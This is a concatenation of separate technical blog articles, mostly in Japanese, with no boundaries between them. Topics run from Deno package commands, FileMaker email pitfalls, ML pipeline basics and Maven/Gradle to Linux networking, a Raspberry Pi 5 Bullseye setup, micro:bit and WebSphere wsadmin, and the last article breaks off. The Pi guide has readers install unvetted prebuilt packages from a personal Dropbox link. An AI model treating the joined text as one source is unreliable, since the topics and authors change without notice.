Deno チームは 2018年のプロジェクト発表当初は `package.json` や `node_modules` によるパッケージマネジメント機能を、Node.js におけるデザインミスと考えていました。パッケージ概念の代わりにブラウザの URL import 機能をモデルとした、URL のツリー構造だけで依存を管理するエコシステム (`deno.land/x`) を数年に渡り構築してきました。

しかし、その後、Deno チームは `deno.land/x` はデザインミスと考えるようになり、代わりに JSR という新しいレジストリと `jsr:` という新しい URL スキームを Deno に実装し、公式にパッケージ概念を扱うようになりました。

(URL import/`deno.land/x` の何が間違いだったかの詳細は以下のブログ記事で解説されています)
https://deno.com/blog/http-imports

パッケージを扱うようになった結果、パッケージ管理関連のサブコマンドも複数実装されています。以下では、現在 deno コマンドに実装されているパッケージ管理関連のコマンドをまとめました。

## `deno install <pkg名...>`

`npm install <pkg名...>` とほぼ同じ挙動のコマンドです。コマンドを実行すると `deno.json` の中の "imports" フィールドに指定されたパッケージを追加します。

Deno は JSR パッケージと npm パッケージを区別して扱うため、JSR パッケージの場合は `jsr:` npm パッケージの場合は `npm:` をパッケージ名の前につける必要があります。

```
deno add jsr:@std/path npm:chalk
```

上の例では JSR から `@std/path` を npm から `chalk` をインストールします

エイリアス: `deno i` `deno add` コマンドでも実行可能です

## `deno install` (引数なし)

`deno.json` or `package.json` に記載されている依存をダウンロードして、ローカルにキャッシュします。`deno.json` に記載されているパッケージは Deno のグローバルなキャッシュに保存されます。`package.json` に記載されているパッケージは、node_modules 以下に保存されます (pnpm と同様にグローバルキャッシュへの symlink として、`node_modules` 以下が構築されます)。

## `deno uninstall <pkg名...>`

`<pkg名...>` で指定したパッケージを削除します。

エイリアス: `deno remove` でも実行可能です。

## `deno publish`

`deno.json` もしくは `jsr.json` の内容に従って、プロジェクト内のファイルを JSR に publish します。

参考記事:

https://zenn.dev/kesin11/articles/20240530_publish_jsr

https://shogo82148.github.io/blog/2024/06/23/2024-06-23-publish-to-npm-and-jsr/

## `deno outdated`

`deno.json` と `package.json` に記載の依存の最新版の表示・更新ができます。

引数なしで実行すると依存とその最新バージョンを列挙します。JSR パッケージと npm パッケージ両方が対象になります。

```shell-session
$ deno outdated
┌──────────────────┬─────────┬─────────┬────────┐
│ Package          │ Current │ Update  │ Latest │
├──────────────────┼─────────┼─────────┼────────┤
│ jsr:@david/dax   │ 0.40.1  │ 0.40.1  │ 0.42.0 │
├──────────────────┼─────────┼─────────┼────────┤
│ npm:@types/mocha │ 10.0.9  │ 10.0.10 │ 10.0.0 │
├──────────────────┼─────────┼─────────┼────────┤
│ npm:tailwindcss  │ 3.4.15  │ 3.4.16  │ 3.4.16 │
├──────────────────┼─────────┼─────────┼────────┤
│ jsr:@std/assert  │ 0.224.0 │ 0.224.0 │ 1.0.9  │
└──────────────────┴─────────┴─────────┴────────┘
```

`--update` 引数をつけると、semver range に従う範囲の最新版に自動的にアップデートします。

```
$ deno outdated --update
Updated 2 dependencies:
 - npm:@types/mocha 10.0.9 -> 10.0.10
 - npm:tailwindcss  3.4.15 ->  3.4.16
```
【FileMaker】「メールを送信」の落とし穴

[FileMaker](https://www.claris.com/ja/)でメールを送信する機能を実装したいと思ったら、まずは、「[メールを送信](https://help.claris.com/ja/pro-help/content/send-mail.html)」を活用すると思います。
また、いつもは[sendgrid](https://sendgrid.kke.co.jp/)や[blastengine](https://blastengine.jp/lp_smtp/)などのAPIでメール送信を実装していても、何かしらの障害対応用にサブ経路としてSMTPメール送信を実装しているところもあるかもしれません。

「メールを送信」スクリプトステップを実装する際に、是非ともチェックしておいていただきたいところを、今回は記事にしました。

# まずはおさらい
「メールを送信」スクリプトステップには、３つの送信経由でメールを送信できます。

## (1) メールクライアントから送信
自身のPCに入っているメーラーから（OutlookとかMacのMailとか）送信する方法です。
すでにPCでメール送受信の設定がされているので、FileMakerでは特に設定する情報はありません。
一番よく実装する方法ではないでしょうか？
![スクリーンショット 2024-12-11 13.25.05.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/60538/49868a59-fd6c-0fe4-ca82-339aa89c2f7e.png)

## (2) SMTPサーバーから送信
SMTPサーバーから送信する場合は、ドメインから提供されているSMTPサーバーの情報を設定して送信する方法です。
自身のPCのメールクライアントに左右されずに送信できるので、こちらの方法もよく実装されますね。
![スクリーンショット 2024-12-11 13.25.17.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/60538/5cf9b517-8e37-6fc6-ddc7-be7c40bcbe45.png)

## (3) OAuth2.0から送信
OAuth2.0から送信する場合は、OAuth2.0の情報が必要です。
現時点では、GoogleとMicrosoftに対応しています。
Google CloudとMicrosoft Azureの管理画面、それとFileMaker Serverのコンソールでのサービスアカウントの設定が必要になるので、システム管理者などが設定した情報をOAuth2.0情報としてスクリプトステップに設定します。
![スクリーンショット 2024-12-11 13.25.30.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/60538/1dd8fded-2979-32be-aa62-ae810619247b.png)

# メールを送信する時の落とし穴とは？
これはFileMaker特有かもしれません。
「メールを送信」スクリプトステップの宛先やCC,BCCにあるチェックボックス、「対象レコードでアドレスを収集」を見てください。
![スクリーンショット 2024-12-11 13.52.21.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/60538/0b353ac7-1c5a-d1cd-24ed-ea3b06940581.png)

## 場合によっては全然関係ない人にメールを送ってしまう！
ここにチェックが入っている場合、全然関係ない人にメールを送ってしまう「かも」しれないんです。
インシデントですねー。
個人情報保護法からの観点からは、一瞬息が止まってしまうかもしれないですねー。

ちなみに、宛先、cc,bccにメールアドレスを指定する場合は、対象外です。

落とし穴に落ちる前提条件が２つあります。
1.「作成：」で「現在のレコードからのデータを使用する１つの電子メール」を指定している
2.メールアドレスを指定する際に、「フィールド名の指定」「計算式の指定」を使って指定している

![スクリーンショット 2024-12-11 13.54.49.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/60538/45381c62-c4cf-345b-9902-ec0505b88c64.png)

上記前提条件に当てはまる場合は、以下の原因を読んでコードチェックしましょう！


では、なぜそんなことが起こってしまうのでしょうか？
３つほど、原因を考えてみました。

### 1.対象レコードとして絞り込んでいない
メールを送信するスクリプトステップを実行するとき、本来メールを送りたい人たちのレコードを検索などで絞り込んでいなかったり、絞り込みが甘い時、あらぬ人にメールが送られてしまいます。

### 2.もう送信する必要のない人のメールアドレスがフィールドに指定されていた
送信対象のレコードではあるものの、メールを送らなくてもいい人のメールアドレスがフィールドに指定されているかも知れません。

### 3.うっかりチェックボックスにチェックを入れてしまった
フィールド指定でメールアドレスを指定したり、計算してメールアドレスを指定したとしても、「うっかり」チェックボックスにチェックを入れてしまい、気づかずに運用してしまう可能性もゼロではありません。

## どの送信経路でもありえます！
上記原因は、どの送信経路を指定してもありえます。
デバッガで一つ一つ動かしてテストをしたとしても、「メールを送信」スクリプトステップは1行なので、一瞬で間違った宛先に送信してしまう可能性があるので、テストする前のコードチェックが重要になります。

手軽に利用できる「メールを送信」スクリプトステップ、落とし穴に十分注意しながら安全にメール送信をしてくださいね！
2024年の活動を振り返って

## チャレンジしたことの概要
2024年は、大きく4つのチャレンジに取り組めたと思っています。
- 初めてのPythonで初めてのDiscord BOTを作成。GAEで初めてのクラウドへのデプロイ
- 初めてQiitaに投稿
- microCMS、Astro、github action、Azure StaticWebApps、お名前.comで独自ドメインのブログ公開
- 遊んでいるFF14のプレイ動画から、プレイヤー名を黒塗りするWindowsアプリの作成、公開

このうち今も改善に取り組んでいるWindowsアプリ開発の過程や、そこから得られた結果、気づきなどをご紹介させていただきます。

## チャレンジにおける過程（課題や、それに対するアプローチなど）
### 1.どうやって画像からプレイヤー名を検出するか
動画を1フレームずつ切り出して、画像にあるプレイヤー名を処理すればいいと漠然と考えていましたが、どのようにプレイヤー名を検出するかが最初のハードルでした。
- 画像をOCRしてプレイヤー名を文字認識する案
- プレイヤー名の前に付くアイコンでテンプレートマッチングを行い、位置を特定する案
- プレイヤー名を物体検出し、位置を特定する案

できるだけ開発のハードルが低いものから実際に簡単なコードを作成し、テストを行いました。
テストを行った結果、
- OCR
→ 5/100点。全然ダメ。文字部分を文字と認識できない箇所が多すぎた
- テンプレートマッチング
→ 55/100点。アイコンが見えている時はマッチングが成功するが、アイコンが少しでも隠れるとスコアが大きく下がりました。部分的に隠れたアイコンもマッチングできるようにテンプレートを分割し複数回マッチングを行うことで改善を行いましたが、マッチングを行う回数分だけ処理回数も必要となり処理性能の悪化を招きました。またモンスターの背面などにプレイヤーが移動するとアイコンが完全に隠れてしまい、全くマッチングできない点は工夫で改善しにくい問題でした。
- 物体検出
→ 80/100点。アノテーション、学習、コーディング、テスト、とかなり手間がかかったが、プレイヤー名の検出精度が最も良かった。テンプレートマッチングのようにアイコンがない場合でも検出できたところも理想的

当初はOCRやテンプレートマッチングで簡単に実現できるだろうと考えていたものの、実際にテストを行い試してみると思っていたようには動作せず、またアイコンが隠れる状況など想定していたものの実際に動作させてみると力不足をはっきりと認識することができました。
"動画からプレイヤー名を消す"という目的を考えると、少しでもプレイヤー名を検出できない時間帯があるものは採用できず、開発コストがかかりそうですが物体検出によるプレイヤー名の検出を行うこととしました。

### 2.アプリの処理速度が遅い！
Pythonで開発を行っていました。物体検出はMMDETECTIONを使用し、アプリを公開しました。
プレイヤー名の検出自体はまずまずでしたが、あまりに処理が遅く、実際の15分程度のプレイ動画の処理に何時間もかかるような状態でした。
検出精度に重きを置きすぎ、テストでは短い動画でしか確認していなかったため、実際にユーザーが使うような動画での使用感からは大きく外れた状態になってしまっていました。

これ以降、性能改善のためにいろいろな手を尽くしたのですが、それ以外に実際に自分でもアプリを積極的に利用して常に使用感を確かめるようになりました。
それまでいろいろなやり方を試し最終的に良いものを作ったという自負があり、また物体検出という比較的新しい技術を利用しているということにうぬぼれていたような面もありました。
しかしながら実際には技術や過程よりもユーザーのアプリの使用感や体験が大切で、この点は取り組み方を大きく間違っていたと思います。
自分でアプリを利用することで大まかなユーザーの使用感も体験でき、また使用してアプリの挙動を見ることで新たな問題点や改善案、機能追加なども実装できたと思っています。

### 3.更なる処理速度の改善と精度向上を目指して
当初はMMDETECTIONを利用していましたが、処理速度の改善のためUltralytics YoloV8に切り替えを行いました。ApacheライセンスからAGPLライセンスの受け入れが必要でしたが、学習時間、処理速度、処理精度など全てが大幅に向上し、アプリとしてより完成度が高いものになりました。
ある日、ユーザより検出精度について指摘され、Yoloのパラメータをテストしていたのですが想像していたような挙動にならず、よくわからなかったためUltralyticsの公式Discordで質問を行いました。
質問したところ、結果的には若干の処理速度と精度の向上が行えたのですが、その際、YOLOの使い方を根本的に間違っていることを指摘されました。
私は、QiitaやZennなど技術サイトの投稿記事を探し、それをトレースすることで開発を進めることが多いのですが、そのどこかで見た記事に誤りがあったか私の認識の間違いがあったのだと思われます。
ユーザの記事は、一度何がしか成功したもので公式のドキュメントではわかりずらいところをいい感じに端折って最短ルートを示してあることが多く、新しい分野にチャレンジする時にはとても重宝するのですが、少し時間が経った記事ではバージョンアップなどで今では正しく動作しなかったり、そもそも正しい使い方ではなかったりすることもあります。ブログ作成時にもいろいろ記事も見ましたが、結局公式のドキュメントが一番役に立った、ということもありました。
とっかかりにはユーザー投稿の記事はとても役に立つのですが、公式のドキュメントをちゃんと確認することが大切だと感じました。

## チャレンジの結果
Windowsアプリとして公開することができました。
ただそもそもニーズがあまりなかったのか、ダウンロード数や認知度はあまり伸びていない印象です。
ゲーム動画は60FPSが多いですが、私の環境で処理速度は20FPS程度と、まだかなり低速だと感じています。
またpyinstallerでのEXE化の影響でファイルサイズも巨大なため、Windowsアプリの開発言語となるVC++やC#などでの再実装ができないか検討しています。

## チャレンジから得た気づき・学び
- まずは簡単なコードでいろんな案を試して評価すること
- 技術や苦労におぼれず、ユーザと同じく実際に使用してみて使用感を確認すること
- 公式のドキュメントを第一にしっかりと読むこと

## ご参考
既に記事投稿しているものもありますのでご参考までにリンクしておきます。

https://blog.calocenrieti.com/blog/wol_names_blacked_out/

https://qiita.com/calcMCalcm/items/178901c752f6cef481f1

https://qiita.com/calcMCalcm/items/c6388a6df5fa66a56a3d

https://qiita.com/calcMCalcm/items/dd6b1e586d45960186f8

https://qiita.com/calcMCalcm/items/b50e64992fbf975cb82f
【ML初心者アドベントカレンダー】ML開発のパイプラインについて


千葉までマッツ・ミケルセンとツーショットを撮りに行っていたら投稿が遅れてしまいました…これから頑張って取り返します。

# この記事の目的

ML開発のパイプラインについてざっくりと知る

# パイプラインとは

モデルの開発からデプロイ、運用までの一連のプロセスを自動化するための仕組み。

主な工程は以下の通り。

## データ収集

モデル開発のためのデータを収集するプロセス。
画像を読み込んで犬か猫か、を判別するモデルを作るとしたら、犬と猫の画像を集めている段階。

## 探索的データ分析 (EDA)

 > 探索的データ分析（EDA）とは、データサイエンティストがデータセットを分析・調査して、その主な特徴をまとめる際に用いるもので、多くの場合、データの可視化手法を使用しています。

引用元様：
https://www.ibm.com/jp-ja/topics/exploratory-data-analysis

データの前処理を行う前に、問題を見つけておくこと。
対処法は次の「データの前処理」で決める。

## データの前処理

データをモデルに適した形式に変換すること。
データが重複していたり、平均と大きく異なる値（外れ値）に対して削除や修正などの処理をして学習を助ける。

## 特徴量エンジニアリング

データから重要な特徴量を抽出・生成すること。
特徴量（とくちょうりょう）とは、モデルが生成する予測の手掛かりになる変数のこと。犬、猫を判別するモデルの場合「犬のしっぽの長さ」とか「猫の髭の長さ」とかがそれにあたる。
不動産物件の価格を予想するモデルの場合は「築年数」や「面積」
価格を予想するにあたり「家の色」や「持ち主の性別」はあまり関係ないため特徴量とは呼ばない。

### One-Hot エンコーディング

機械学習は数値でしかデータを処理できないため、あらかじめ特徴量を数値に変換しておく必要があるが、単純に「男=1、女=2、その他=3」のような形にすると機械が数字をそのまま優先順位と勘違いする可能性があるため、1と0で表現する。

たとえば男性1人、女性1人、その他1人を表すときは以下の図のようになる。
（1が当てはまるからone-hot、みたいな覚え方）

| 男性 | 女性 | その他 |
| ---- | ---- | ---- |
| 1 | 0 | 0 |
| 0 | 1 | 0 |
| 0 | 0 | 1 |

### ビン分割 (Binning)

連続的な数値データをいくつかの範囲（「ビン」または「区間」とも呼ばれる）に分割して、カテゴリデータとして扱えるようにする方法。
パフォーマンスが向上するが、細かい情報が消える可能性がある。


### ラベルエンコーディング

1つのカテゴリが1つの数値に当てはまるようにマッピングすること。
男性=1,女性=2,その他=3,のように数字を割り振る手法。
One-Hot エンコーディングで書いた通り、数値をそのまま優先順位と勘違いする可能性があるが実装が簡単でメモリ消費が少ない。

### 欠損値処理

データの抜けている個所を置き換えること。
アンケートのデータで、任意回答項目が空欄のデータに対し、その空欄のどういう数値で埋めるか考えること。
基本的に削除するか平均値で保管するか。
または過去の数値からそこに入りそうな値を予測していれる。（回帰補完）

## モデルトレーニング

トレーニングデータを使ってモデルを学習させること。
詳しくは下記参照。
https://qiita.com/ei_540/items/289f8ab20f48eac48e20

## ハイパーパラメータのチューニング

モデルの性能を最適化するため、ハイパーパラメータを調整すること。
ハイパーパラメータとは、人間が設定する変数のこと。K-means法のKの部分とか。

## 評価

テストデータを使用してモデルの性能を評価すること。いろいろな指標がある。

### モデルパフォーマンスメトリクス

モデルの精度を図るメトリクスのこと。

**混同行列**
こちらのこと。**F1スコア**も指標となる。
https://qiita.com/ei_540/items/b5a49d463345ac972cb7

**ROC曲線**

ROC曲線下面積のこと。AUCともいう。
AUCは0から1の値であり、1に近いほど精度の高いモデルになっている。
分類問題で、クラスの不均衡がある場合に使える。

**ROUGE**
自然言語処理の生成を評価する指標。
文章を要約するタスクで使用される。

**BLEU**
自然言語処理の生成を評価する指標。
文章を翻訳するタスクで使用される。

**BERTScore**
自然言語処理の生成を評価する指標。
文書生成全般に適用。高度なタスクで使用される。

### ビジネスメトリクス

ビジネス的な観点におけるメトリクスのこと。導入の結果や改善をはかる。

**ユーザーあたりのコスト**

モデルを利用するユーザー1人あたりに発生するコストのこと。

**開発コスト**

モデルの開発およびメンテナンスにかかった総費用のこと。インフラ維持費とか、ソフトウェアを使っているならライセンス料とか。

**顧客からのフィードバック**

モデルの予測や働きにたいする顧客の満足度や反応のこと。

**投資収益率 (ROI)**

モデルの導入によって得られた収益に対する投資の割合。
つまり、モデルを導入することで得られたメリットのこと。

## デプロイ

学習済みモデルを本番環境に配置し、推論が行える状態にすること。

## モニタリング

本番環境でのモデルの性能を監視すること。
劣化が見られた場合は再トレーニングを行う。


**データドリフト**

機械学習モデルの学習に使用したデータセットと実際の運用環境で扱うデータセットの間に統計的性質の乖離が生じる現象のこと。

**コンセプトドリフト**

機械学習モデルが学習した概念自体が時間の経過とともに変化してしまう現象のこと。

**モデルバイアス**

モデルが特定のグループや特性に対して不公平な予測を行ってしまうこと

### 関連AWSサービス

**SageMaker Model Monitor**

デプロイされたモデルの状況をリアルタイムで追跡して、ドリフト等を検出してくれる。
閾値を下回った場合、CloudWatchアラームを鳴らす。

**SageMaker Clarify**

指定した属性を調べることで、潜在的なバイアスを検出する（性別、年齢）
特徴量の重要度グラフを作ってくれる。
SageMaker Model Monitorと統合されており、CloudWatchアラームを設定できる。
SageMakerStudio内で使える。

**Amazon Manager Service for Apache Flink（旧：Amazon Kinesis Data Analytics）**

リアルタイムのストリーミングデータを変換および分析できる。リアルタイムというのが大事。
自動的にスケールしてくれる。
MavenとGradleのそれぞれの特徴と違い

# まえがき
MavenとGradleは、どちらもJavaプロジェクトのビルドツールですが、それぞれ特徴や読み方に違いがあります。今回は、MavenとGradleの読み方とその特徴、そしてそれぞれの違いについて解説します。

# Maven
### 読み方
Maven（メイヴン）

### 特徴
**宣言的アプローチ:** 
Mavenは、XML形式で記述するpom.xmlファイルを使ってビルドプロセスを定義します。プロジェクトの依存関係、ビルドプラグイン、設定などをXMLファイルに記述し、これに基づいてビルドを実行します。

**慣習に従った構成:**
Mavenは、標準的なプロジェクト構造を推奨します。例えば、src/main/javaにソースコードを、src/test/javaにテストコードを配置するなど、決められたディレクトリ構造に従うことが多いです。

**プラグインの豊富さ:**
Mavenには、ビルド、テスト、デプロイなどのために多くのプラグインが用意されており、広く使われています。

### ビルドプロセス
**依存関係の管理:**
pom.xmlに記述された依存ライブラリを自動でダウンロードしてプロジェクトに組み込む。

**ビルドの実行:**
mvn clean installなどのコマンドで、プロジェクトをビルド、テスト、パッケージ化します。

### 簡単なコード例
pom.xmlで依存関係を追加する例です。
```
<dependencies>
    <dependency>
        <groupId>org.junit.jupiter</groupId>
        <artifactId>junit-jupiter-api</artifactId>
        <version>5.8.2</version>
        <scope>test</scope>
    </dependency>
</dependencies>
```

上記のコードは、JUnit 5をプロジェクトに追加する例です。

# Gradle
### 読み方
Gradle（グレイドル）

### 特徴
**命令型アプローチ**
Gradleは、GroovyまたはKotlin DSL（ドメイン特化言語）を使ってビルドスクリプトを記述します。ビルドプロセスを命令的に記述し、必要なタスクを指定して実行します。

**柔軟性**
Gradleは、ビルド構成において非常に柔軟です。Mavenよりも複雑なビルドやカスタマイズを行いたい場合に適しています。

**パフォーマンス**
Gradleは、インクリメンタルビルドや並列ビルドをサポートしており、大規模なプロジェクトのビルド時間を短縮することができます。

### ビルドプロセス
**依存関係の管理**
build.gradleファイルに依存関係を記述し、必要なライブラリを自動的に取得します。
**ビルドの実行**
gradle buildなどのコマンドでビルドを実行します。

### 簡単なコード例
build.gradleで依存関係を追加する例です。
```
dependencies {
    testImplementation 'org.junit.jupiter:junit-jupiter-api:5.8.2'
}
```
上記のコードは、JUnit 5をGradleでプロジェクトに追加する例です。

# MavenとGradleの違い
| |Maven  |Gradle  |
|---|---|---|
|構成ファイル|pom.xml（XML形式|build.gradle（GroovyまたはKotlin DSL）|
|設定の柔軟性|高い（宣言的であり、設定が固定的）|非常に高い（命令的であり、カスタマイズが容易）|
|ビルド速度|比較的遅い（キャッシュ機能はあるが、Gradleほどではない)|高速（インクリメンタルビルドと並列処理で最適化されている）|
|学習曲線|比較的緩やか（標準的な使い方が決まっているため）|若干急（柔軟性がある分、設定に時間がかかることがある）|
|人気|非常に人気が高い、特に古くからあるプロジェクトで多く使用|新しいプロジェクトや、ビルド速度が重要な大規模プロジェクトで増加中|
|依存関係管理|強力で広く使われている|強力だが、設定に柔軟性があるため初心者には少し難しく感じることがある|	
		

# まとめ
Mavenは設定が決まっていて、使い方が比較的簡単ですが、柔軟性に欠ける部分があります。標準的なJavaプロジェクトには最適です。
Gradleは設定が柔軟で、複雑なビルドやパフォーマンスを重視する場合に向いていますが、最初は少し学習コストが高いかもしれません。
プロジェクトの規模や要求に応じて、どちらを選ぶかを決めると良いでしょう。
GitHubからいろいろ取得してみた

今回はGitHubのREST-APIを使ったりしていろいろ取得してみます。

https://docs.github.com/ja/rest?apiVersion=2022-11-28

## ユーザー名からリポジトリを取得しよう！
ユーザー名からリポジトリを取得するには以下URLにリクエストします
```
https://api.github.com/users/<username>/repos
```

## 誰がstarしているかを調べる
webでリポジトリを表示して、URLの末尾に`stargazers`を付けるだけ！
```
https://github.com/<username>/<repository_name>/stargazers
```

## 誰がwatchしているかを調べる
上記のstarしている人を調べる方法同様、
webでリポジトリを表示して、URLの末尾に`watchers`を付けるだけ！
```
https://github.com/<username>/<repository_name>/watchers
```

## 誰がforkしているかを調べる
これも同様で、
webでリポジトリを表示して、URLの末尾に`forks`を付けるだけです！
```
https://github.com/<username>/<repository_name>/forks
```

## Releaseのダウンロード数を調べよう
Releaseのダウンロード数を調べるには以下URLにリクエストします
```
https://api.github.com/repos/<username>/<repository_name>/releases
```

有効なアセットがあれば、assetsにオブジェクトがありますので、その中で自分が取得したいとしているアセットを名前から探します。
`download_count`にダウンロード数が表示されています！
ソフトウェアマネージャーがオフラインになってしまう時の対処法

# 概要
Virtualboxで、LinuxMint22（ベースはUbuntu24.04らしい）をインストールし、あれこれやってたらソフトウェアマネージャがエラーを出すようになってしまった。
`Cannot download packages whilst offline`

![スクリーンショット 2024-12-11 123236.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/213689/58fb91da-b976-072b-d933-3d4548dc9770.png)

# 原因
NICに静的IPアドレスを割り当てた際、
NetworkManagerが想定外の挙動になってしまった。

以下のようなYamlファイルを追加(enp0s8を内部ネットワーク用として、192.168.1.1/24を割当)し、
`netplan apply`した後から繋がらなくなった。
```/etc/netplan/99-my-local-int.yaml
network:
  version: 2
  ethernets:
    enp0s3:
      dhcp4: true
      dhcp6: false
      nameservers:
        addresses: [8.8.8.8, 8.8.4.4]
    enp0s8:
      addresses: [192.168.1.1/24]
```

# 対処
NetworkManagerの停止と、networkdの採用

* yamlファイル修正
```/etc/netplan/99-my-local-int.yaml
network:
  version: 2
  renderer: networkd
  ethernets:
    enp0s3:
      dhcp4: true
      dhcp6: false
      nameservers:
        addresses: [8.8.8.8, 8.8.4.4]
    enp0s8:
      addresses: [192.168.1.1/24]
```

* 不要かもしれないけど、元々あったYamlも修正（rendererをnetworkdに。上のファイルと重複してるかも？）
```/etc/netplan/01-network-manager-all.yml 
# Let NetworkManager manage all devices on this system
network:
  version: 2
    #renderer: NetworkManager
  renderer: networkd
```
* NetworkManagerの無効化
```bash
sudo systemctl stop NetworkManager
sudo systemctl disable NetworkManager
```
※networkdは既に起動済みでした。

* OS再起動を行う。

## これで解決しました
![スクリーンショット 2024-12-11 125331.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/213689/19eddff2-7ac8-4222-2f43-91f8d4837164.png)

NetworkManagerってGUIで設定できるというけど、使った記憶があまり無い…。
正統派Ubuntu自体が結構リソースを使うため、あまり使わないというのもあります。
自分は邪道ですね。

## 参考にしたサイト

https://ubuntuforums.org/showthread.php?t=2463441

https://www.configserverfirewall.com/ubuntu-linux/ubuntu-network-manager/
Setup RaspiOS Bullseye on Raspberry Pi 5

Raspberry Pi 5 officially supports only Debian Bookworm. This could be problem sometimes.

In this procedure we update the firmware and graphic driver but still keep Debian Bullseye.

By the way you need to edit rootfs (ext4) before initial setup, hence a Linux machine is required.

1. download files
    - https://codeload.github.com/raspberrypi/firmware/zip/refs/heads/stable
    - https://downloads.raspberrypi.com/raspios_oldstable_arm64/images/raspios_oldstable_arm64-2024-10-28/2024-10-22-raspios-bullseye-arm64.img.xz

2. flash raspios to sdcard
    - xz -cd < 2024-10-22-raspios-bullseye-arm64.img.xz | dd of=/dev/sd...

3. copy new firmware and configure xorg
    - now unpack firmware-stable.zip
    - eject and reinsert SD, now you see bootfs and rootfs
        - copy firmware-stable/boot to bootfs but keep cmdline.txt and config.txt
        - copy firmware-stable/modules to rootfs usr/lib/modules (need sudo)

    - setup etc/X11/xorg.conf.d/99-vc4.conf
        - reference: https://forums.raspberrypi.com/viewtopic.php?p=2159161#p2159161

    ```
    Section "OutputClass"
      Identifier "vc4"
      MatchDriver "vc4"
      Driver "modesetting"
      Option "PrimaryGPU" "true"
    EndSection
    ```

4. Boot raspi 5 and complete initial setup, then enable SSH (raspi-config)
    - Now you see weird screen like window menu bar is missing, but you should be able to barely work on terminal.

5. Install mesa 24
    - In this state, V3D 7.1 graphic driver is missing, so mesa 24 has to be installed.
    - I have built mesa 24 and uploaded to https://www.dropbox.com/scl/fo/5tacw9prkow5qv6wzeep6/AABJ1rd0BvaoDdJiiK8BFpg?rlkey=h19lu9zz1z7zh5m2yymn48qdr&st=f405hnbe&dl=0
        - After copying the files to raspi, just run `apt install ./*.deb`
        - If you don't like prebuilt binary, you can still build https://github.com/cielavenir/dockerfiles/blob/master/mesa_bullseye_arm64.sh

6. Setup GL driver config (raspi-config)
    - advanced -> GL driver -> GL driver
    - advanced -> Glamor -> enable

7. Reboot
    - Now window menu bar is back and glxinfo -B says `OpenGL vendor string: Broadcom`
micro:bitでLEDを光らせる

子どもが学校でよく使うmicro:bit。
うちにもmicro:bitが2枚あるので、遠隔でLEDを光らせてみました。

:::note info
配線や使用している抵抗はかなり適当です。LEDが(早々に)壊れないよう正しく接続/設定したい場合は他サイトをご確認ください。
:::

#### 使用したもの
・micro:bit 2枚
・給電用のUSBケーブル(Type-A/micro-B)２本
・ワニ口クリップ 2本
・LED 1つ
・抵抗 ※
・ブレッドボード
・ジャンパ線(オス/オス)

※ 使用するLEDの仕様に合う抵抗を準備しましょう。(私は家にあったものを適当に使っています(非推奨))

#### 使用コード
MakeCode for micro:bitのサイトで、データ送信側とデータ受信側の２つのコードを準備しました。
##### micro:bit用コード(受信側)
＜起動時＞
① P0の出力をオフにする
② 無線グループ番号を１にする
③ 起動が完了したことを目視確認できるようにLEDを表示する

＜データ受信時＞
① 受信データが１ならば
② P0の出力をオンにする
③ 出力をオンにしたことを目視確認できるようLEDに１を表示する
④ 受信データが2ならば
⑤ P0の出力をオフにする
⑥ 出力をオフしたことを目視確認できるようLEDに0を表示する

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/703624/328de137-773f-722c-3973-ee31677aab04.png)

##### micro:bit用コード(送信側)
＜起動時＞
① 無線グループ番号を１にする
② 起動が完了したことを目視確認できるようにLEDを表示する

＜データ送信＞
① Aボタンが押された場合、１を送信する
② Bボタンが押された場合、２を送信する
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/703624/101f333c-a52b-bc82-758f-a77a8d1fc492.png)

それぞれのコードをmicro:bitにロードして準備完了です。

#### 接続
データ受信用micro:bit(写真左上)：ポート[0] --- LED --- 抵抗 --- [GND]
データ送信用micro:bit(写真右下)：特に接続するアイテムはない
<img width="500" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/703624/485f804f-5571-1b88-b53e-68e4afb3f191.png">
写真には複数のLEDとケーブルがありますが、行き場がなかったので挿してあるだけです。

#### 動作確認
データ送信用micro:bitのAボタンを押すと、無事LEDが点灯しました。
<img width="500" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/703624/5ec17970-7739-5678-0d8e-c1b710a73141.png">

データ送信用micro:bitのBボタンを押すとLEDは消灯します。
<img width="500" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/703624/d709284f-44f1-e1b3-19e4-dcc995cd1bd0.png">

#### デコる
ブレッドボードでLEDが光るだけでは味気ないので、追加してLEGOでデコってみました。(LED/抵抗をワンセット追加)

数メートル離れたところからでも、LEDを点灯させることができます。
うん、それだけなんだけれどもね...
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/703624/12a7ea89-99bd-aeba-6160-10090aa8cd36.png)

micro:bit間の通信は環境が良ければ数十メートル届くようなので、アイディア次第では面白いものができるのかな。
tWASで、wsadminコマンドでPMIのThreadPoolのカウンターを取得する

[スレッド・プールのカウンター - IBM Documentation]( https://www.ibm.com/docs/ja/was-nd/8.5.5?topic=organization-thread-pool-counters ) を取得します

#### 以下の環境で検証します

https://qiita.com/keniooi/items/70217218d07e49525c49



#### 1. コンテナに入ります
```
podman exec -it was90-db2 bash
```

#### 2. wsadminツールにて管理ノードへ接続します
```
$ /opt/IBM/WebSphere/AppServer/profiles/AppSrv01/bin/wsadmin.sh
Realm/Cell Name: <default>
Username: wsadmin
Password:
 WASX7209I: Connected to process "server1" on node DefaultNode01 using SOAP connector;  The type of process is: UnManagedProcess
WASX7031I: For help, enter: "print Help.help()"
```

#### 3. Perf MBeanを指定します。
```
wsadmin>perf = AdminControl.completeObjectName("type=Perf,process=server1,*")
wsadmin>perfObj = AdminControl.makeObjectName(perf)
```

#### 4. WebContainerスレッドプールを指定します。
```
wsadmin>threadPoolName = AdminControl.completeObjectName('type=ThreadPool,name=WebContainer,*')
wsadmin>params = [AdminControl.makeObjectName(threadPoolName),java.lang.Boolean('false')]
wsadmin>sigs = ['javax.management.ObjectName', 'java.lang.Boolean']
```

#### 5. MBeanのStatsを確認します。
```
wsadmin>webthdp = AdminControl.invoke_jmx(perfObj,'getStatsObject',params,sigs)
wsadmin>print webthdp

